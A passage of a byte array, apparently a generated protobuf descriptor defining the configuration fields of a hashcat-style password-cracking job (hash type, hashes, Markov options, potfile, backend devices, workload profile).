0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, - 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, - 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, - 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, - 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, - 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, - 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, - 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, - 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, - 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, - 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, - 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, - 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, - 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, - 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, - 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, - 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, - 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, - 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, - 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, - 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, - 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, - 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, - 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, - 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, - 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, - 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, - 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, - 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, - 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, - 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, - 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, - 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, - 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, - 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, - 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, - 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, - 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, - 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, - 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, - 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, - 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, - 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, - 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, - 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, - 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, - 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, - 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, - 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, - 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, - 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, - 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, - 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, - 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, - 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, - 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, - 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, - 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, - 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, - 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, - 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, - 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, - 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, - 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, - 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, - 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, - 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, - 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, - 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, - 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, - 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, - 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, - 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, - 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, - 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, - 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, - 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, - 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, - 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, - 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, - 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, - 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, - 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, - 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, - 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, - 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, - 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, - 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, - 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, - 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, - 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, - 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, - 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, - 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, - 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, - 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, - 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, - 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, - 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, - 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 